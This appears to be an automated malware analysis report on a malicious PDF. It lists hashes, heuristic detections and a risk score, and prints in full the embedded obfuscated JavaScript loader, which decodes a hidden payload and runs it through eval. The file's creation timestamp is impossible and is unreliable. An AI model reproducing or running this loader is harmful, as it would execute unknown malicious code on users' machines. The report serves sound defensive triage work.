Malicious PDF — malware analysis report

Static analysis result for SHA-256 b05fd8223243af7c…

MALICIOUS

PDF

7.2 KB Created: 2008-31-20 53:85:00 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2026-05-08
MD5: 3e3ec49672575ec194ff55b3126fe5ea SHA-1: 575da56c5fbc8deba5b7533e729d702be3f88d5c SHA-256: b05fd8223243af7c446f6920481652acc5d73b90892d4e9761a091fb654ca563
166 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The script utilizes an eval() call, flagged by PDF_EVAL, which is a strong indicator of obfuscation and potential malicious code execution. The script itself is heavily obfuscated, making it difficult to determine its exact payload, but the presence of eval() suggests it's designed to download and execute a second-stage payload. The file's authoring application is Scribus, but this is likely a lure.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function Nx6WcQWqq3() {var datfield = 'Z'+'k'+'FEatDV5TmvXgp8'+'zIqDvtPdZhuWptPna'+'vFEMIPe'+'CS9WzTmEqZmL1'+'t9Ea8aW'+'jZIn'+'xEfnp7uLX'+'4'+'YWAy'+'OkazDigZaWDTzJx'+'OpHOIt'+'eZ'+'cYipI'+'u'+'V58JiX4YWAyOka'+'hDLOTmWqIpea'+'z'+'rk'+'Mk'+'m7d5'+'tA'+'XHFWWZjBM2urPyRAZcPd'+'Z4YWAy'+'Okac'+'fNZ4'+'YWAyOkaSPdZ4YWAyOkahjkzv'+'mkqv'+'FV1WJegzDkMkm7'+'d5tAXHFWWl9Accria'+'8'+'JHzvR'+'LZ4YWAyOkacriht9WzTmEqZmL'+'1t9DPttD8t'+'IrL'+'WqAAyrecSj'+'BZkFEat'+'9'+'E'+'8'+'TzkrqSJ'+'LvaApvp'+'AOtPdZSrBgiJAjt3E …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x3DA 5742 bytes
SHA-256: 40ee7158d6b847104b23dc2ef314b71f3675edcbcd44d9c26591cf44fef884ee
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s). 161 of 224 identifiers look randomly generated (e.g. 'Qg4rAOnFQg4rA34jQZ4YWAyOkaSPdZApkzkmEEy'); 2 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function Nx6WcQWqq3() {var datfield = 'Z'+'k'+'FEatDV5TmvXgp8'+'zIqDvtPdZhuWptPna'+'vFEMIPe'+'CS9WzTmEqZmL1'+'t9Ea8aW'+'jZIn'+'xEfnp7uLX'+'4'+'YWAy'+'OkazDigZaWDTzJx'+'OpHOIt'+'eZ'+'cYipI'+'u'+'V58JiX4YWAyOka'+'hDLOTmWqIpea'+'z'+'rk'+'Mk'+'m7d5'+'tA'+'XHFWWZjBM2urPyRAZcPd'+'Z4YWAy'+'Okac'+'fNZ4'+'YWAyOkaSPdZ4YWAyOkahjkzv'+'mkqv'+'FV1WJegzDkMkm7'+'d5tAXHFWWl9Accria'+'8'+'JHzvR'+'LZ4YWAyOkacriht9WzTmEqZmL'+'1t9DPttD8t'+'IrL'+'WqAAyrecSj'+'BZkFEat'+'9'+'E'+'8'+'TzkrqSJ'+'LvaApvp'+'AOtPdZSrBgiJAjt3EgimQ'+'ZkFEatP'+'Vf'+'577'+'Q5uV1'+'Z'+'3vdtPd'+'Zn'+'RLOywE4tFWXAPy'+'z23Aq'+'ifyz'+'23Aqifyz'+'23Aqifyz'+'ta8'+'SvSyz'+'y3'+'AzASyzHav'+'PZfyzIrAfZfyz'+'IrAg0fyz8z89ifyz8'+'z'+'A'+'qifyz8znF6Syz87QgnfyzHz8Sy'+'Sy'+'zHz8F'+'HSyzI'+'anp'+'kSyz2z8qnSyz8z8'+'SHSyz'+'HrvSHSyz8OA'+'0HSyzZa8R'+'7fyz2a'+'AFyfyzZa8R7fyzHf8SW'+'fyz8'+'z8gi'+'fyz8z8SvSyzH'+'rvSHSyzvS'+'Qg'+'ifyz'+'HfAlEfyz8'+'SA06fyz'+'t'+'3v'+'gifyz8z8'+'x0'+'fy'+'z8z8SHSyz6'+'S'+'nR'+'kfyzvSQSv'+'S'+'yz'+'W'+'3v'+'lEfyzHfvx0fyzt3v'+'S'+'6fyz'+'8z8xkSyz8z8SHSyz6SnRkfyzvSQSWfyzySnlEfy'+'z6rAz'+'kSyzt3v'+'a'+'7Syz8z8g7'+'Syz8z'+'8SHSyz6S'+'nRkfy'+'zvSQSyfyztrAlE'+'f'+'yzta8'+'a0fyzt3vlkSyz'+'8z89ASyz8z8'+'SHSyz6SnRkfy'+'zv'+'SQFH'+'Syz'+'v'+'f8lEfy'+'zt'+'fnM'+'kfyzt3'+'vzEfyz8'+'z8a4fyz8z'+'8'+'SHSyz6SnRkfyz6z8F'+'vSyz2Ov'+'RkSyzZfnaiSyzHavxnf'+'yzHOv'+'06S'+'yz87Qgkfyz8z'+'8S'+'8SyzvS'+'ASHSyzZfnRkfy'+'zHr'+'vPvSyz8'+'zn0'+'6Syz8S8l'+'nfyzHrvfHfyzHOvf'+'6Syzt3vfZfy'+'z8z8R7fyz8'+'z8SHSy'+'zI3vfHSyzHS'+'vtZf'+'yzZa8'+'P'+'tfyzWrQgEf'+'yz8'+'z8SHSyzHavSHSyzHOA06Syz'+'v'+'f'+'nR'+'7fyzva8RiSyzHavfHS'+'yz'+'yz806Syz6rAlEfyz8z8SHSyz'+'vz8SHSyz6SnR7fyzI'+'fvF'+'v'+'S'+'yzvzvS2Sy'+'zvS'+'nR7fyzt3'+'vFWfyz8'+'z8lnSyz8'+'z8SHSyz6SnSySy'+'zvrQP'+'H'+'SyzvOASHSyzySAM0fyzvrQl0Syz8zn0HSy'+'zIfnMEfy'+'z8z8SHSyz'+'ZfnxSfyzHrvPHSyz8OA06Syz'+'8S8lnfy'+'zHr'+'vfHfyz'+'H'+'Ovf6Syz6z8gEfyz8z8SH'+'Sy'+'z'+'IfvSHSyzvOvSIfyz6Sn'+'S'+'y'+'Syz2OnPvSyzvOn97'+'fy'+'z6rAfySyzyz8M0SyzvOnfH'+'S'+'yz6Sn'+'R'+'7fyzIfv'+'FyfyzvzvS6SyzvSnR7fy'+'zt3vF'+'Wfyz8z8PySyz8z8S'+'HSyz8z8ln'+'fyzZfnxSfy'+'zHrvPHSyz8Ov06Syz878lnfyz'+'HrvfH'+'f'+'yzH'+'Ovf6Syz'+'Hz8gEfyz8z8S'+'HSyzIfvS'+'HSyzHrvx'+'SfyzHz80'+'6Sy'+'z8S8lnfy'+'zHr'+'vfHfyzHOvf6Syz8z8gEfyz8z8SHSyz6S'+'8SHS'+'yzv78'+'f2fyztf8SySy'+'z'+'tf8Sy'+'Syztf'+'8SySy'+'z'+'tf8SySy'+'zt3ARi'+'Syzv'+'S'+'v'+'SvSyzHrvfySyztr89nfy'+'zv78x'+'O'+'fyzta'+'8xSfyzHrvf6SyzHrvgifyz'+'8OvMA'+'f'+'y'+'zvzA'+'R7fy'+'zvSQSyf'+'yzZ'+'3nR7fyz'+'Hrvtyf'+'yzHSAMASyz8OnMEfyzvSQ'+'xiSyzZfQR7fyz8On'+'PHS'+'yz2OnxiS'+'yz6'+'zvakfyz2aA08Syz'+'v3nSySyz2O'+'nfZfy'+'z87Ax4f'+'yzHz8z0fyz6r8t8fyz8OvMAS'+'yz'+'vf'+'AanSyz8OnSvfyz6z8x7Syz6f8g7fyz6fAt2fyz'+'Zfnf6fyzv'+'Svg0'+'SyztrvR7fyzvSvR7fyz8O'+'nPvSyzIfQ9Afyz'+'8OAR7'+'fyzHrv02fyzHOAf8'+'fy'+'zyaASySyz8'+'znR7fyz'+'8OnR7fy'+'zvSAa0Syzv'+'r8f'+'vfyz'+'8z8SWfyz6angEfyz6rAx0fyzvS'+'nxS'+'fyz6'+'O'+'Af2Syz67A0vfy'+'z8z806fyzWrvR'+'Of'+'yzWrAp7'+'fyzva'+'89'+'0Sy'+'z'+'Hr'+'vakSyzH3v'+'R4fy'+'zWrvR4f'+'yzWrv'+'p'+'i'+'fyzW3vRkSyzvf8Rn'+'SyzHrQp'+'Sf'+'y'+'zHf8'+'pSfyzW'+'rvRn'+'fyz'+'W'+'f'+'vanS'+'yzva8'+'pifyzHa'+'8RiSyzHrvR'+'0fyzWrAanSyzWrAROfy'+'zHfQ9kSyzyr8R7fyzvav9Efy'+'zWrApifyzyr8RiSyztrA97aic'+'criR6pkZzuJq4rQRSfvmv'+'7ihSDAl2rAgSrAgcriR6pkZ'+'KRk'+'zW2DiW7i'+'hSPVf'+'577Q5'+'uV1'+'Z3vdT'+'DLOTmWqIJiGS9'+'ACS9H'+'4vYi'+'gZaWDTzJ'+'xOpHOI2ihSDLE2fQlkrAzEpnZ'+'xDiXKRk'+'zW2DiWOegOwAl4j'+'QZkFEatPBIgOn9vrih'+'SPH'+'18m'+'k'+'j6JkO'+'I9i'+'OnF'+'Qg4rAOnFQg4rA34jQZ4YWAyOkaSPdZApkzkmEEy'+'SAp0OvIgJeM2'+'urPyR'+'A5SDkMkm7d5t'+'AXHFW'+'WZj'+'QZkFEat'+'jDQWr2qn7'+'ihSDe3tqrav2rE5'+'q'+'AaEREanJiK'+'SDAl2rAgSrA'+'g4'+'j@5Z2'+'v'+'MOavgn'+'3WfX'+'riwlpkZO9H4v'+'Yib5JV@ZJQhS3Qb5JV@ZJQT'+'c'+'Orp72vSX3VGI'+'pDcI3'+'eb4DiCtDV5TmvXgp8zIqDvXIVGIpDcIfYZxriM2'+'urPy'+'RAZcDicvzD8lzVc'+'TuQph'+'OQ'+'ZxYiht9WzTmEqZ'+'mL1t9WEHwk'+'uHt7@8JJ8TJecSjBZ'+'kFEatPrMX'+'SDxtPdZ0JkgT9Hc8'+'mHOvR2Ovw'+'kclpL17wLD'+'2RkcTmWX4jQZxSBeZSkZxriAZw'+'Di6'+'R'+'@a8Jk'+'56mEOIj@H2O@mq9i34j'+'QZ'+'kFEatPnlEqvp7u2tWfJr5ODZx'+'ri18mH'+'Z0zka6u'+'BXxSBeZSk1iJV'+'4vFn'+'qIDAczPrMXSDxTjE'+'X'+'6pk02'+'Y'+'ex'+'4D@AZwD'+'i6R@jIuEa6'+'7HXAfeccri'+'cHJiXOPn'+'lEqv'+'p7u2t'+'WfJr5'+'ODVtfYZxf'+'d'+'ZOriwkDiXO'+'P'+'nlEqvp'+'7'+'u2tWfJr5ODV6fY'+'Z'+'xfdZ0riwkDi0I3'+'2'+'RErW'+'72OvEvqD'+'eXqAktDdZAfeZzYNZ07QJH3vI828'+'p4q7@XOJxx2iTSPAc4'+'DiTq'+'YiX'+'0'+'7QJ'+'H3vI828p4'+'q7@XOJgx'+'2ihxri'+'pS9y'+'wSPnlE'+'qv'+'p7u2tWfJr5O'+'DV6fYZz'+'rix4D'+'iTqY'+'iX07'+'Q'+'JH3vI82'+'8p4q7@XO'+'Jgx'+'2i'+'TSjvc4DiCt9DP'+'ttD8t'+'IrLWqAAy'+'r'+'eccriR'+'6pkZKOnuXJW4l7'+'ihSPH18'+'mkj6JkOI9i'+'OnY'+'Aj'+'t3EOnYAjt3E34jQ'+'ZEYVcquWXKOn'+'uX'+'JW4l'+'z@58pLm2YVZ'+'zriq7fQ'+'zAfe'+'ZKOn'+'u'+'XJW4l7ibxri'+'@'+'yO8b2uEQXriqIuV9TjEoqJ'+'L4vm7qlpkOtP'+'dZiOL5quE3TjE'+'oq'+'JL'+'OyJHSguEcquD1'+'HmLXcwkzvpV'+'sS9i3z'+'PL9'+'WpQZKOnuX'+'JW4'+'lS'+'Nccriht'+'PNZk'+'uJRyw8Y6q'+'DOI2'+'71I'+'P'+'eC'+'h'; function Sn6B8O2(Y9tKFWo){ var tp = '63@16@42@28@31@18@62@43@46@13@0@0@0@0@0@0@52@51@33@5@45@39@56@20@34@26@41@19@36@7@32@27@61@49@8@59@2@1@37@38@22@40@30@0@0@0@0@0@0@12@21@23@48@53@60@14@3@55@29@35@6@25@47@17@9@10@44@4@58@57@50@24@15@54@11'; var o33NJi=0, oNuwhvBuBwX=Y9tKFWo.length, NjmXWrie=1024, b1Ttto9Qcb41, hiSBc, BAQTuC='', z5k5JU6nO=o33NJi, iXPF0SFfSy8=o33NJi, YlnlCGfOI7=o33NJi, eBmXG=Array(); eBmXG = tp.split('@'); for(eval('hiSBc=Ma'+'th.'+'ce'+'il(oNuwhvBuBwX'+'/NjmXWrie)');hiSBc>o33NJi;hiSBc--){ for(eval('b1Ttto9Qcb41=M'+'ath'+'.m'+'in(oNuwhvBuBwX,'+'NjmXWrie)');b1Ttto9Qcb41>o33NJi;b1Ttto9Qcb41--,oNuwhvBuBwX--){ eval('YlnlCGfOI7|'+'=(eBmXG['+'Y9tKFWo.'+'cha'+'rCo'+'de'+'At(z5k5JU6nO+'+'+)-48])<'+'<iXPF0SFfSy8'); if(iXPF0SFfSy8){ eval('BAQTuC+'+'=S'+'tri'+'ng['+'"fro'+'mCha'+'rCod'+'e"](254^'+'YlnlCGfOI7&'+'25'+'5)'); YlnlCGfOI7>>=8; iXPF0SFfSy8-=2; } else { iXPF0SFfSy8=6; } } } eval(BAQTuC); } Sn6B8O2(datfield);}

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